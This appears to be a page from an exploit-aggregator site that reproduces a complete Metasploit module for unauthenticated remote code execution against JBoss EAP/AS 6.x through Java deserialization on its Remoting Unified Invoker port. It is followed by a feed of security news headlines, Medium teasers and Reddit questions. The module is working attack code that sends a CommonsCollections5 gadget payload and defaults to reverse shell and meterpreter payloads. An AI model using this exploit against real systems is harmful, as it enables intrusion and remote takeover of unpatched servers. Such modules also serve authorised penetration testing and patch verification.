Exploit Collector
JBOSS EAP/AS 6.x Remote Code Execution

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png An unauthenticated attacker with network access to the JBOSS EAP/AS versions 6.x and below Remoting Unified Invoker interface can send a serialized object to the interface to execute code on vulnerable hosts.

SHA-256 | 4bfb5f55643ee08ae8c9999d9fa55d6d1af99c180f30e402f0089770ca5d6712Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
'Description' => %q{
An unauthenticated attacker with network access to the JBOSS
EAP/AS <=
serialized object to the interface to execute code on vulnerable hosts.
},
'Author' => [
'Joao Matos <@joaomatosf', # Discovery
'Marcio Almeida <@marcioalm', # PoC
'Heyder Andrade <@heyderandrade' # msf module
],
'References' => [
[ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
],
'DisclosureDate' => '2019-12-11',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(4446)
])
end

def handshake_data
# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
# 00 05: STREAM_VERSION. The serialization version.
['aced0005'].pack('H*')
end

def check
connect
sock.put(handshake_data)
data = sock.get_once(16)
disconnect
return Exploit::CheckCode::Appears if data == handshake_data

return Exploit::CheckCode::Safe
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
return Exploit::CheckCode::Unknown
end

# def exploit
def execute_command(cmd, _opts = {})
java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
# MAGIC BYTES JBOSS PROTOCOL:
# 0x77: TC_BLOCKDATA
# 0x01: Length of TC_BLOCKDATA
# 0x16: Protocol version 22
# 0x79: TC_RESET
magic_bytes = ['77011679'].pack('H*')
payload = magic_bytes + java_payload.byteslice(4..)
connect
sock.put(handshake_data)
sock.get_once(16)
sock.put(payload)
disconnect
print_good('Successfully sent payload')
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
fail_with(Failure::Unreachable, e.message)
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

end Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft Issues Fixes for 84 Vulnerabilities: Here's What to Patch Now

July's security update included fixes for one actively exploited flaw, more than 30 bugs in Azure Site Recovery, and four privilege escalation bugs in Windows Print Spooler.

Dark Reading: Attacks/Breaches
Privitar Announces Kormoon Acquisition, Extending Data Privacy and Provisioning Capabilities

.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
PyPI Mandates 2FA, Plans Google Titan Key Giveaway

Python's most popular package manager is intent on securing the supply chain by requiring developers to enable two-factor authentication.

Dark Reading: Attacks/Breaches
Core Security by HelpSystems Introduces New Ransomware Simulator

.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: What the Shell? — Walkthrough

https://cdn-images-1.medium.com/max/600/1*kVxdFKZ1HfODtsb-CoOByA.png
Hi! It is time to look at the What The Shell room on TryHackMe. This room is quite theory intensive, and I had focus a lot to grasp all…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Dumb ways to Auth

https://cdn-images-1.medium.com/max/600/0*lEqKkzTfwJp-C78f.jpg
The saddest thing I have seen to date😭

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HACKER DOUBLE SUMMER 2022 GUIDES — Part Four: ToorCamp

https://cdn-images-1.medium.com/max/833/1*KhqlhsP2XvUg9VNLsduhuA.png
Welcome to the DCG 201 guide to Hacker Double Summer! This is part of a series where we are going to cover all the various hacker…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Shellcoding 0x3: Dropping Multi-stage Payload

https://cdn-images-1.medium.com/max/1296/1*ZG9EvkhOSjGZTkYdeZj2Cw.png
May I bring some friends to this madhouse ?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
¿Qué es el Directorio Activo y por qué es un blanco fácil para los hackers?

https://cdn-images-1.medium.com/max/1540/0*lOBl6xWsbVF7nF1Q
PUBLICADO EN 12 JULIO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Samba v1 Share

Long story short, I want to enable a file share that, due to the age and available memory of some of the devices, must be Samba v1. I'm aware of the fact that SMB1 is deprecated, 30 years old, and vulnerable. My question is simply exactly how vulnerable I'd be making my home PC/Network by enabling SMB1 through Windows 10. Any info appreciated.

submitted by /u/AccurateSpite
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What’s going on with my cell number?

I recently got a suspicious bill that said I sent 88 international texts and a text earlier this morning from Turkey. I don’t know anybody from Turkey or sent 88 international texts.

submitted by /u/djentkittens
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking iceberg

I’ve been thinking of the internet iceberg lately, and was wondering how many and what types of hackers are really out there? There’s no doubt that there’s hackers in the dark net and it really gets me wondering are there hackers with extreme amounts of skill? Is this reddit page that invites different types of knowledge and skill about hacking just the tip of the iceberg since the majority is in ethical hacking. Do you think people who do unethical hacking are able to improve their skill by a margine since they use it in a different type of practice? Idk it’s got me curious

submitted by /u/mr_cyb3rz
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video